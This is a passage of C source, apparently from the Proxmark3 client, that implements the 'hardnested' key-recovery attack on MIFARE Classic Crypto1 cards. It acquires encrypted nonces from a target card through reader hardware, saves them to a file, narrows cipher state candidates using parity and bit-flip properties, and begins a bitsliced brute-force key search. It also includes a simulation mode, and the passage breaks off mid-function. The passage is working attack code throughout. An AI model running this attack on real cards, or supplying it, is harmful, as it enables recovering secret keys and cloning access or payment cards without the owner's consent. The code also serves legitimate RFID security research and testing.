704 for (int8_t byte_pos = 3; byte_pos >= 0; byte_pos--) {
705 uint8_t nt_byte_dec = (nt >> (8*byte_pos)) & 0xff;
706 uint8_t nt_byte_enc = crypto1_byte(&sim_cs, nt_byte_dec ^ (test_cuid >> (8*byte_pos)), false) ^ nt_byte_dec; // encode the nonce byte
707 *nt_enc = (*nt_enc << 8) | nt_byte_enc;
708 uint8_t ks_par = filter(sim_cs.odd); // the keystream bit to encode/decode the parity bit
709 uint8_t nt_byte_par_enc = ks_par ^ oddparity8(nt_byte_dec); // determine the nt byte's parity and encode it
710 *par_enc = (*par_enc << 1) | nt_byte_par_enc;
711 }
712
713 }
714
715 static void simulate_acquire_nonces()
716 {
717 clock_t time1 = clock();
718 bool filter_flip_checked = false;
719 uint32_t total_num_nonces = 0;
720 uint32_t next_fivehundred = 500;
721 uint32_t total_added_nonces = 0;
722
723 cuid = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
724 known_target_key = ((uint64_t)rand() & 0xfff) << 36 | ((uint64_t)rand() & 0xfff) << 24 | ((uint64_t)rand() & 0xfff) << 12 | ((uint64_t)rand() & 0xfff);
725
726 printf("Simulating nonce acquisition for target key %012"llx", cuid %08x ...\n", known_target_key, cuid);
727 fprintf(fstats, "%012"llx";%08x;", known_target_key, cuid);
728
729 do {
730 uint32_t nt_enc = 0;
731 uint8_t par_enc = 0;
732
733 simulate_MFplus_RNG(cuid, known_target_key, &nt_enc, &par_enc);
734 //printf("Simulated RNG: nt_enc1: %08x, nt_enc2: %08x, par_enc: %02x\n", nt_enc1, nt_enc2, par_enc);
735 total_added_nonces += add_nonce(nt_enc, par_enc);
736 total_num_nonces++;
737
738 if (first_byte_num == 256 ) {
739 // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum);
740 if (!filter_flip_checked) {
741 Check_for_FilterFlipProperties();
742 filter_flip_checked = true;
743 }
744 num_good_first_bytes = estimate_second_byte_sum();
745 if (total_num_nonces > next_fivehundred) {
746 next_fivehundred = (total_num_nonces/500+1) * 500;
747 printf("Acquired %5d nonces (%5d with distinct bytes 0,1). Bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
748 total_num_nonces,
749 total_added_nonces,
750 CONFIDENCE_THRESHOLD * 100.0,
751 num_good_first_bytes);
752 }
753 }
754
755 } while (num_good_first_bytes < GOOD_BYTES_REQUIRED);
756
757 time1 = clock() - time1;
758 if ( time1 > 0 ) {
759 PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)",
760 total_num_nonces,
761 ((float)time1)/CLOCKS_PER_SEC,
762 total_num_nonces * 60.0 * CLOCKS_PER_SEC/(float)time1);
763 }
764 fprintf(fstats, "%d;%d;%d;%1.2f;", total_num_nonces, total_added_nonces, num_good_first_bytes, CONFIDENCE_THRESHOLD);
765
766 }
767
768 static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_write, bool slow)
769 {
770 clock_t time1 = clock();
771 bool initialize = true;
772 bool finished = false;
773 bool filter_flip_checked = false;
774 uint32_t flags = 0;
775 uint8_t write_buf[9];
776 uint32_t total_num_nonces = 0;
777 uint32_t next_fivehundred = 500;
778 uint32_t total_added_nonces = 0;
779 uint32_t idx = 1;
780 FILE *fnonces = NULL;
781 field_off = false;
782 UsbCommand resp;
783 UsbCommand c = {CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES, {0,0,0} };
784 memcpy(c.d.asBytes, key, 6);
785 c.arg[0] = blockNo + (keyType * 0x100);
786 c.arg[1] = trgBlockNo + (trgKeyType * 0x100);
787
788 printf("Acquiring nonces...\n");
789 do {
790
791 flags = 0;
792 flags |= initialize ? 0x0001 : 0;
793 flags |= slow ? 0x0002 : 0;
794 flags |= field_off ? 0x0004 : 0;
795 c.arg[2] = flags;
796
797 clearCommandBuffer();
798 SendCommand(&c);
799
800 if (field_off) break;
801
802 if (!WaitForResponseTimeout(CMD_ACK, &resp, 6000)) {
803 if (fnonces) fclose(fnonces);
804 return 1;
805 }
806
807 if (resp.arg[0]) {
808 if (fnonces) fclose(fnonces);
809 return resp.arg[0]; // error during nested_hard
810 }
811
812 if (initialize) {
813 // global var CUID
814 cuid = resp.arg[1];
815 if (nonce_file_write && fnonces == NULL) {
816 if ((fnonces = fopen("nonces.bin","wb")) == NULL) {
817 PrintAndLog("Could not create file nonces.bin");
818 return 3;
819 }
820 PrintAndLog("Writing acquired nonces to binary file nonces.bin");
821 memset (write_buf, 0, sizeof (write_buf));
822 num_to_bytes(cuid, 4, write_buf);
823 fwrite(write_buf, 1, 4, fnonces);
824 fwrite(&trgBlockNo, 1, 1, fnonces);
825 fwrite(&trgKeyType, 1, 1, fnonces);
826 fflush(fnonces);
827 }
828 initialize = false;
829 }
830
831 uint32_t nt_enc1, nt_enc2;
832 uint8_t par_enc;
833 uint16_t num_acquired_nonces = resp.arg[2];
834 uint8_t *bufp = resp.d.asBytes;
835 for (uint16_t i = 0; i < num_acquired_nonces; i += 2) {
836 nt_enc1 = bytes_to_num(bufp, 4);
837 nt_enc2 = bytes_to_num(bufp+4, 4);
838 par_enc = bytes_to_num(bufp+8, 1);
839
840 total_added_nonces += add_nonce(nt_enc1, par_enc >> 4);
841 total_added_nonces += add_nonce(nt_enc2, par_enc & 0x0f);
842
843 if (nonce_file_write && fnonces) {
844 fwrite(bufp, 1, 9, fnonces);
845 fflush(fnonces);
846 }
847 bufp += 9;
848 }
849 total_num_nonces += num_acquired_nonces;
850
851 if (first_byte_num == 256) {
852
853 if (!filter_flip_checked) {
854 Check_for_FilterFlipProperties();
855 filter_flip_checked = true;
856 }
857
858 num_good_first_bytes = estimate_second_byte_sum();
859
860 if (total_num_nonces > next_fivehundred) {
861 next_fivehundred = (total_num_nonces/500+1) * 500;
862 printf("Acquired %5d nonces (%5d/%5d with distinct bytes 0,1). Bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
863 total_num_nonces,
864 total_added_nonces,
865 NONCES_THRESHOLD * idx,
866 CONFIDENCE_THRESHOLD * 100.0,
867 num_good_first_bytes
868 );
869 }
870
871 if (total_added_nonces >= (NONCES_THRESHOLD * idx)) {
872 if (num_good_first_bytes > 0) {
873 if (generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess) || known_target_key != -1) {
874 field_off = brute_force(); // switch off field with next SendCommand and then finish
875 }
876 }
877 idx++;
878 }
879 }
880 } while (!finished);
881
882 if (nonce_file_write && fnonces)
883 fclose(fnonces);
884
885 time1 = clock() - time1;
886 if ( time1 > 0 ) {
887 PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)",
888 total_num_nonces,
889 ((float)time1)/CLOCKS_PER_SEC,
890 total_num_nonces * 60.0 * CLOCKS_PER_SEC/(float)time1
891 );
892 }
893 return 0;
894 }
895
896 static int init_partial_statelists(void)
897 {
898 const uint32_t sizes_odd[17] = { 126757, 0, 18387, 0, 74241, 0, 181737, 0, 248801, 0, 182033, 0, 73421, 0, 17607, 0, 125601 };
899 // const uint32_t sizes_even[17] = { 125723, 0, 17867, 0, 74305, 0, 178707, 0, 248801, 0, 185063, 0, 73356, 0, 18127, 0, 126634 };
900 const uint32_t sizes_even[17] = { 125723, 0, 17867, 0, 74305, 0, 178707, 0, 248801, 0, 185063, 0, 73357, 0, 18127, 0, 126635 };
901
902 printf("Allocating memory for partial statelists...\n");
903 for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
904 for (uint16_t i = 0; i <= 16; i+=2) {
905 partial_statelist[i].len[odd_even] = 0;
906 uint32_t num_of_states = odd_even == ODD_STATE ? sizes_odd[i] : sizes_even[i];
907 partial_statelist[i].states[odd_even] = malloc(sizeof(uint32_t) * num_of_states);
908 if (partial_statelist[i].states[odd_even] == NULL) {
909 PrintAndLog("Cannot allocate enough memory. Aborting");
910 return 4;
911 }
912 for (uint32_t j = 0; j < STATELIST_INDEX_SIZE; j++) {
913 partial_statelist[i].index[odd_even][j] = NULL;
914 }
915 }
916 }
917
918 printf("Generating partial statelists...\n");
919 for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
920 uint32_t index = -1;
921 uint32_t num_of_states = 1<<20;
922 for (uint32_t state = 0; state < num_of_states; state++) {
923 uint16_t sum_property = PartialSumProperty(state, odd_even);
924 uint32_t *p = partial_statelist[sum_property].states[odd_even];
925 p += partial_statelist[sum_property].len[odd_even];
926 *p = state;
927 partial_statelist[sum_property].len[odd_even]++;
928 uint32_t index_mask = (STATELIST_INDEX_SIZE-1) << (20-STATELIST_INDEX_WIDTH);
929 if ((state & index_mask) != index) {
930 index = state & index_mask;
931 }
932 if (partial_statelist[sum_property].index[odd_even][index >> (20-STATELIST_INDEX_WIDTH)] == NULL) {
933 partial_statelist[sum_property].index[odd_even][index >> (20-STATELIST_INDEX_WIDTH)] = p;
934 }
935 }
936 // add End Of List markers
937 for (uint16_t i = 0; i <= 16; i += 2) {
938 uint32_t *p = partial_statelist[i].states[odd_even];
939 p += partial_statelist[i].len[odd_even];
940 *p = END_OF_LIST_MARKER;
941 }
942 }
943
944 return 0;
945 }
946
947 static void init_BitFlip_statelist(void)
948 {
949 printf("Generating bitflip statelist...\n");
950 uint32_t *p = statelist_bitflip.states[0] = malloc(sizeof(uint32_t) * 1<<20);
951 uint32_t index = -1;
952 uint32_t index_mask = (STATELIST_INDEX_SIZE-1) << (20-STATELIST_INDEX_WIDTH);
953 for (uint32_t state = 0; state < (1 << 20); state++) {
954 if (filter(state) != filter(state^1)) {
955 if ((state & index_mask) != index) {
956 index = state & index_mask;
957 }
958 if (statelist_bitflip.index[0][index >> (20-STATELIST_INDEX_WIDTH)] == NULL) {
959 statelist_bitflip.index[0][index >> (20-STATELIST_INDEX_WIDTH)] = p;
960 }
961 *p++ = state;
962 }
963 }
964 // set len and add End Of List marker
965 statelist_bitflip.len[0] = p - statelist_bitflip.states[0];
966 *p = END_OF_LIST_MARKER;
967 //statelist_bitflip.states[0] = realloc(statelist_bitflip.states[0], sizeof(uint32_t) * (statelist_bitflip.len[0] + 1));
968 }
969
970 static inline uint32_t *find_first_state(uint32_t state, uint32_t mask, partial_indexed_statelist_t *sl, odd_even_t odd_even)
971 {
972 uint32_t *p = sl->index[odd_even][(state & mask) >> (20-STATELIST_INDEX_WIDTH)]; // first Bits as index
973
974 if (p == NULL) return NULL;
975 while (*p < (state & mask)) p++;
976 if (*p == END_OF_LIST_MARKER) return NULL; // reached end of list, no match
977 if ((*p & mask) == (state & mask)) return p; // found a match.
978 return NULL; // no match
979 }
980
981 static inline bool /*__attribute__((always_inline))*/ invariant_holds(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit)
982 {
983 uint_fast8_t j_1_bit_mask = 0x01 << (bit-1);
984 uint_fast8_t bit_diff = byte_diff & j_1_bit_mask; // difference of (j-1)th bit
985 uint_fast8_t filter_diff = filter(state1 >> (4-state_bit)) ^ filter(state2 >> (4-state_bit)); // difference in filter function
986 uint_fast8_t mask_y12_y13 = 0xc0 >> state_bit;
987 uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y12_y13; // difference in state bits 12 and 13
988 uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff ^ filter_diff); // use parity function to XOR all bits
989 return !all_diff;
990 }
991
992 static inline bool /*__attribute__((always_inline))*/ invalid_state(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit)
993 {
994 uint_fast8_t j_bit_mask = 0x01 << bit;
995 uint_fast8_t bit_diff = byte_diff & j_bit_mask; // difference of jth bit
996 uint_fast8_t mask_y13_y16 = 0x48 >> state_bit;
997 uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y13_y16; // difference in state bits 13 and 16
998 uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff); // use parity function to XOR all bits
999 return all_diff;
1000 }
1001
1002 static inline bool remaining_bits_match(uint_fast8_t num_common_bits, uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, odd_even_t odd_even)
1003 {
1004 if (odd_even) {
1005 // odd bits
1006 switch (num_common_bits) {
1007 case 0: if (!invariant_holds(byte_diff, state1, state2, 1, 0)) return true;
1008 case 1: if (invalid_state(byte_diff, state1, state2, 1, 0)) return false;
1009 case 2: if (!invariant_holds(byte_diff, state1, state2, 3, 1)) return true;
1010 case 3: if (invalid_state(byte_diff, state1, state2, 3, 1)) return false;
1011 case 4: if (!invariant_holds(byte_diff, state1, state2, 5, 2)) return true;
1012 case 5: if (invalid_state(byte_diff, state1, state2, 5, 2)) return false;
1013 case 6: if (!invariant_holds(byte_diff, state1, state2, 7, 3)) return true;
1014 case 7: if (invalid_state(byte_diff, state1, state2, 7, 3)) return false;
1015 }
1016 } else {
1017 // even bits
1018 switch (num_common_bits) {
1019 case 0: if (invalid_state(byte_diff, state1, state2, 0, 0)) return false;
1020 case 1: if (!invariant_holds(byte_diff, state1, state2, 2, 1)) return true;
1021 case 2: if (invalid_state(byte_diff, state1, state2, 2, 1)) return false;
1022 case 3: if (!invariant_holds(byte_diff, state1, state2, 4, 2)) return true;
1023 case 4: if (invalid_state(byte_diff, state1, state2, 4, 2)) return false;
1024 case 5: if (!invariant_holds(byte_diff, state1, state2, 6, 3)) return true;
1025 case 6: if (invalid_state(byte_diff, state1, state2, 6, 3)) return false;
1026 }
1027 }
1028
1029 return true; // valid state
1030 }
1031
1032 static bool all_other_first_bytes_match(uint32_t state, odd_even_t odd_even)
1033 {
1034 for (uint16_t i = 1; i < num_good_first_bytes; i++) {
1035 uint16_t sum_a8 = nonces[best_first_bytes[i]].Sum8_guess;
1036 uint_fast8_t bytes_diff = best_first_bytes[0] ^ best_first_bytes[i];
1037 uint_fast8_t j = common_bits(bytes_diff);
1038 uint32_t mask = 0xfffffff0;
1039 if (odd_even == ODD_STATE) {
1040 mask >>= j/2;
1041 } else {
1042 mask >>= (j+1)/2;
1043 }
1044 mask &= 0x000fffff;
1045 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
1046 bool found_match = false;
1047 for (uint16_t r = 0; r <= 16 && !found_match; r += 2) {
1048 for (uint16_t s = 0; s <= 16 && !found_match; s += 2) {
1049 if (r*(16-s) + (16-r)*s == sum_a8) {
1050 //printf("Checking byte 0x%02x for partial sum (%s) %d\n", best_first_bytes[i], odd_even==ODD_STATE?"odd":"even", odd_even==ODD_STATE?r:s);
1051 uint16_t part_sum_a8 = (odd_even == ODD_STATE) ? r : s;
1052 uint32_t *p = find_first_state(state, mask, &partial_statelist[part_sum_a8], odd_even);
1053 if (p != NULL) {
1054 while ((state & mask) == (*p & mask) && (*p != END_OF_LIST_MARKER)) {
1055 if (remaining_bits_match(j, bytes_diff, state, (state&0x00fffff0) | *p, odd_even)) {
1056 found_match = true;
1057 // if ((odd_even == ODD_STATE && state == test_state_odd)
1058 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1059 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1060 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1061 // }
1062 break;
1063 } else {
1064 // if ((odd_even == ODD_STATE && state == test_state_odd)
1065 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1066 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1067 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1068 // }
1069 }
1070 p++;
1071 }
1072 } else {
1073 // if ((odd_even == ODD_STATE && state == test_state_odd)
1074 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1075 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1076 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1077 // }
1078 }
1079 }
1080 }
1081 }
1082
1083 if (!found_match) {
1084 // if ((odd_even == ODD_STATE && state == test_state_odd)
1085 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1086 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
1087 // }
1088 return false;
1089 }
1090 }
1091
1092 return true;
1093 }
1094
1095 static bool all_bit_flips_match(uint32_t state, odd_even_t odd_even)
1096 {
1097 for (uint16_t i = 0; i < 256; i++) {
1098 if (nonces[i].BitFlip[odd_even] && i != best_first_bytes[0]) {
1099 uint_fast8_t bytes_diff = best_first_bytes[0] ^ i;
1100 uint_fast8_t j = common_bits(bytes_diff);
1101 uint32_t mask = 0xfffffff0;
1102 if (odd_even == ODD_STATE) {
1103 mask >>= j/2;
1104 } else {
1105 mask >>= (j+1)/2;
1106 }
1107 mask &= 0x000fffff;
1108 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
1109 bool found_match = false;
1110 uint32_t *p = find_first_state(state, mask, &statelist_bitflip, 0);
1111 if (p != NULL) {
1112 while ((state & mask) == (*p & mask) && (*p != END_OF_LIST_MARKER)) {
1113 if (remaining_bits_match(j, bytes_diff, state, (state&0x00fffff0) | *p, odd_even)) {
1114 found_match = true;
1115 // if ((odd_even == ODD_STATE && state == test_state_odd)
1116 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1117 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1118 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1119 // }
1120 break;
1121 } else {
1122 // if ((odd_even == ODD_STATE && state == test_state_odd)
1123 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1124 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1125 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1126 // }
1127 }
1128 p++;
1129 }
1130 } else {
1131 // if ((odd_even == ODD_STATE && state == test_state_odd)
1132 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1133 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1134 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1135 // }
1136 }
1137 if (!found_match) {
1138 // if ((odd_even == ODD_STATE && state == test_state_odd)
1139 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1140 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
1141 // }
1142 return false;
1143 }
1144 }
1145
1146 }
1147
1148 return true;
1149 }
1150
1151 static struct sl_cache_entry {
1152 uint32_t *sl;
1153 uint32_t len;
1154 } sl_cache[17][17][2];
1155
1156 static void init_statelist_cache(void)
1157 {
1158 for (uint16_t i = 0; i < 17; i+=2) {
1159 for (uint16_t j = 0; j < 17; j+=2) {
1160 for (uint16_t k = 0; k < 2; k++) {
1161 sl_cache[i][j][k].sl = NULL;
1162 sl_cache[i][j][k].len = 0;
1163 }
1164 }
1165 }
1166 }
1167
1168 static int add_matching_states(statelist_t *candidates, uint16_t part_sum_a0, uint16_t part_sum_a8, odd_even_t odd_even)
1169 {
1170 uint32_t worstcase_size = 1<<20;
1171
1172 // check cache for existing results
1173 if (sl_cache[part_sum_a0][part_sum_a8][odd_even].sl != NULL) {
1174 candidates->states[odd_even] = sl_cache[part_sum_a0][part_sum_a8][odd_even].sl;
1175 candidates->len[odd_even] = sl_cache[part_sum_a0][part_sum_a8][odd_even].len;
1176 return 0;
1177 }
1178
1179 candidates->states[odd_even] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size);
1180 if (candidates->states[odd_even] == NULL) {
1181 PrintAndLog("Out of memory error.\n");
1182 return 4;
1183 }
1184 uint32_t *add_p = candidates->states[odd_even];
1185 for (uint32_t *p1 = partial_statelist[part_sum_a0].states[odd_even]; *p1 != END_OF_LIST_MARKER; p1++) {
1186 uint32_t search_mask = 0x000ffff0;
1187 uint32_t *p2 = find_first_state((*p1 << 4), search_mask, &partial_statelist[part_sum_a8], odd_even);
1188 if (p1 != NULL && p2 != NULL) {
1189 while (((*p1 << 4) & search_mask) == (*p2 & search_mask) && *p2 != END_OF_LIST_MARKER) {
1190 if ((nonces[best_first_bytes[0]].BitFlip[odd_even] && find_first_state((*p1 << 4) | *p2, 0x000fffff, &statelist_bitflip, 0))
1191 || !nonces[best_first_bytes[0]].BitFlip[odd_even]) {
1192 if (all_other_first_bytes_match((*p1 << 4) | *p2, odd_even)) {
1193 if (all_bit_flips_match((*p1 << 4) | *p2, odd_even)) {
1194 *add_p++ = (*p1 << 4) | *p2;
1195 }
1196 }
1197 }
1198 p2++;
1199 }
1200 }
1201 }
1202
1203 // set end of list marker and len
1204 *add_p = END_OF_LIST_MARKER;
1205 candidates->len[odd_even] = add_p - candidates->states[odd_even];
1206
1207 candidates->states[odd_even] = realloc(candidates->states[odd_even], sizeof(uint32_t) * (candidates->len[odd_even] + 1));
1208
1209 sl_cache[part_sum_a0][part_sum_a8][odd_even].sl = candidates->states[odd_even];
1210 sl_cache[part_sum_a0][part_sum_a8][odd_even].len = candidates->len[odd_even];
1211
1212 return 0;
1213 }
1214
1215 static statelist_t *add_more_candidates(statelist_t *current_candidates)
1216 {
1217 statelist_t *new_candidates = NULL;
1218 if (current_candidates == NULL) {
1219 if (candidates == NULL) {
1220 candidates = (statelist_t *)malloc(sizeof(statelist_t));
1221 }
1222 new_candidates = candidates;
1223 } else {
1224 new_candidates = current_candidates->next = (statelist_t *)malloc(sizeof(statelist_t));
1225 }
1226 if (!new_candidates) return NULL;
1227
1228 new_candidates->next = NULL;
1229 new_candidates->len[ODD_STATE] = 0;
1230 new_candidates->len[EVEN_STATE] = 0;
1231 new_candidates->states[ODD_STATE] = NULL;
1232 new_candidates->states[EVEN_STATE] = NULL;
1233 return new_candidates;
1234 }
1235
1236 static bool TestIfKeyExists(uint64_t key)
1237 {
1238 struct Crypto1State *pcs;
1239 pcs = crypto1_create(key);
1240 crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
1241
1242 uint32_t state_odd = pcs->odd & 0x00ffffff;
1243 uint32_t state_even = pcs->even & 0x00ffffff;
1244 //printf("Tests: searching for key %llx after first byte 0x%02x (state_odd = 0x%06x, state_even = 0x%06x) ...\n", key, best_first_bytes[0], state_odd, state_even);
1245 printf("Validating key search space\n");
1246 uint64_t count = 0;
1247 for (statelist_t *p = candidates; p != NULL; p = p->next) {
1248 bool found_odd = false;
1249 bool found_even = false;
1250 uint32_t *p_odd = p->states[ODD_STATE];
1251 uint32_t *p_even = p->states[EVEN_STATE];
1252 while (*p_odd != END_OF_LIST_MARKER) {
1253 if ((*p_odd & 0x00ffffff) == state_odd) {
1254 found_odd = true;
1255 break;
1256 }
1257 p_odd++;
1258 }
1259 while (*p_even != END_OF_LIST_MARKER) {
1260 if ((*p_even & 0x00ffffff) == state_even)
1261 found_even = true;
1262
1263 p_even++;
1264 }
1265 count += (p_odd - p->states[ODD_STATE]) * (p_even - p->states[EVEN_STATE]);
1266 if (found_odd && found_even) {
1267 if (known_target_key != -1) {
1268 PrintAndLog("Key Found after testing %llu (2^%1.1f) out of %lld (2^%1.1f) keys.",
1269 count,
1270 log(count)/log(2),
1271 maximum_states,
1272 log(maximum_states)/log(2)
1273 );
1274 if (write_stats)
1275 fprintf(fstats, "1\n");
1276 }
1277 crypto1_destroy(pcs);
1278 return true;
1279 }
1280 }
1281
1282 if (known_target_key != -1) {
1283 printf("Key NOT found!\n");
1284 if (write_stats)
1285 fprintf(fstats, "0\n");
1286 }
1287 crypto1_destroy(pcs);
1288 return false;
1289 }
1290
1291 static bool generate_candidates(uint16_t sum_a0, uint16_t sum_a8)
1292 {
1293 printf("Generating crypto1 state candidates... \n");
1294
1295 statelist_t *current_candidates = NULL;
1296 // estimate maximum candidate states
1297 maximum_states = 0;
1298 for (uint16_t sum_odd = 0; sum_odd <= 16; sum_odd += 2) {
1299 for (uint16_t sum_even = 0; sum_even <= 16; sum_even += 2) {
1300 if (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even == sum_a0) {
1301 maximum_states += (uint64_t)partial_statelist[sum_odd].len[ODD_STATE] * partial_statelist[sum_even].len[EVEN_STATE] * (1<<8);
1302 }
1303 }
1304 }
1305
1306 if (maximum_states == 0) return false; // prevent keyspace reduction error (2^-inf)
1307
1308 printf("Number of possible keys with Sum(a0) = %d: %"PRIu64" (2^%1.1f)\n", sum_a0, maximum_states, log(maximum_states)/log(2));
1309
1310 init_statelist_cache();
1311
1312 for (uint16_t p = 0; p <= 16; p += 2) {
1313 for (uint16_t q = 0; q <= 16; q += 2) {
1314 if (p*(16-q) + (16-p)*q == sum_a0) {
1315 // printf("Reducing Partial Statelists (p,q) = (%d,%d) with lengths %d, %d\n",
1316 // p, q, partial_statelist[p].len[ODD_STATE], partial_statelist[q].len[EVEN_STATE]);
1317 for (uint16_t r = 0; r <= 16; r += 2) {
1318 for (uint16_t s = 0; s <= 16; s += 2) {
1319 if (r*(16-s) + (16-r)*s == sum_a8) {
1320 current_candidates = add_more_candidates(current_candidates);
1321 if (current_candidates != NULL) {
1322 // check for the smallest partial statelist. Try this first - it might give 0 candidates
1323 // and eliminate the need to calculate the other part
1324 if (MIN(partial_statelist[p].len[ODD_STATE], partial_statelist[r].len[ODD_STATE])
1325 < MIN(partial_statelist[q].len[EVEN_STATE], partial_statelist[s].len[EVEN_STATE])) {
1326 add_matching_states(current_candidates, p, r, ODD_STATE);
1327 if(current_candidates->len[ODD_STATE]) {
1328 add_matching_states(current_candidates, q, s, EVEN_STATE);
1329 } else {
1330 current_candidates->len[EVEN_STATE] = 0;
1331 uint32_t *p = current_candidates->states[EVEN_STATE] = malloc(sizeof(uint32_t));
1332 *p = END_OF_LIST_MARKER;
1333 }
1334 } else {
1335 add_matching_states(current_candidates, q, s, EVEN_STATE);
1336 if(current_candidates->len[EVEN_STATE]) {
1337 add_matching_states(current_candidates, p, r, ODD_STATE);
1338 } else {
1339 current_candidates->len[ODD_STATE] = 0;
1340 uint32_t *p = current_candidates->states[ODD_STATE] = malloc(sizeof(uint32_t));
1341 *p = END_OF_LIST_MARKER;
1342 }
1343 }
1344 //printf("Odd state candidates: %6d (2^%0.1f)\n", current_candidates->len[ODD_STATE], log(current_candidates->len[ODD_STATE])/log(2));
1345 //printf("Even state candidates: %6d (2^%0.1f)\n", current_candidates->len[EVEN_STATE], log(current_candidates->len[EVEN_STATE])/log(2));
1346 }
1347 }
1348 }
1349 }
1350 }
1351 }
1352 }
1353
1354 maximum_states = 0;
1355 unsigned int n = 0;
1356 for (statelist_t *sl = candidates; sl != NULL && n < MAX_BUCKETS; sl = sl->next, n++) {
1357 maximum_states += (uint64_t)sl->len[ODD_STATE] * sl->len[EVEN_STATE];
1358 }
1359
1360 if (maximum_states == 0) return false; // prevent keyspace reduction error (2^-inf)
1361
1362 float kcalc = log(maximum_states)/log(2);
1363 printf("Number of remaining possible keys: %"PRIu64" (2^%1.1f)\n", maximum_states, kcalc);
1364 if (write_stats) {
1365 fprintf(fstats, "%1.1f;", (kcalc != 0) ? kcalc : 0.0);
1366 }
1367 if (kcalc < CRACKING_THRESHOLD) return true;
1368
1369 return false;
1370 }
1371
1372 static void free_candidates_memory(statelist_t *sl)
1373 {
1374 if (sl == NULL) {
1375 return;
1376 } else {
1377 free_candidates_memory(sl->next);
1378 free(sl);
1379 }
1380 }
1381
1382 static void free_statelist_cache(void)
1383 {
1384 for (uint16_t i = 0; i < 17; i+=2) {
1385 for (uint16_t j = 0; j < 17; j+=2) {
1386 for (uint16_t k = 0; k < 2; k++) {
1387 free(sl_cache[i][j][k].sl);
1388 }
1389 }
1390 }
1391 }
1392
1393 static const uint64_t crack_states_bitsliced(statelist_t *p){
1394 // the idea to roll back the half-states before combining them was suggested/explained to me by bla
1395 // first we pre-bitslice all the even state bits and roll them back, then bitslice the odd bits and combine the two in the inner loop
1396 uint64_t key = -1;
1397 uint8_t bSize = sizeof(bitslice_t);
1398
1399 #ifdef EXACT_COUNT
1400 size_t bucket_states_tested = 0;
1401 size_t bucket_size[p->len[EVEN_STATE]/MAX_BITSLICES];
1402 #else
1403 const size_t bucket_states_tested = (p->len[EVEN_STATE])*(p->len[ODD_STATE]);
1404 #endif
1405
1406 bitslice_t *bitsliced_even_states[p->len[EVEN_STATE]/MAX_BITSLICES];
1407 size_t bitsliced_blocks = 0;
1408 uint32_t const * restrict even_end = p->states[EVEN_STATE]+p->len[EVEN_STATE];
1409
1410 // bitslice all the even states
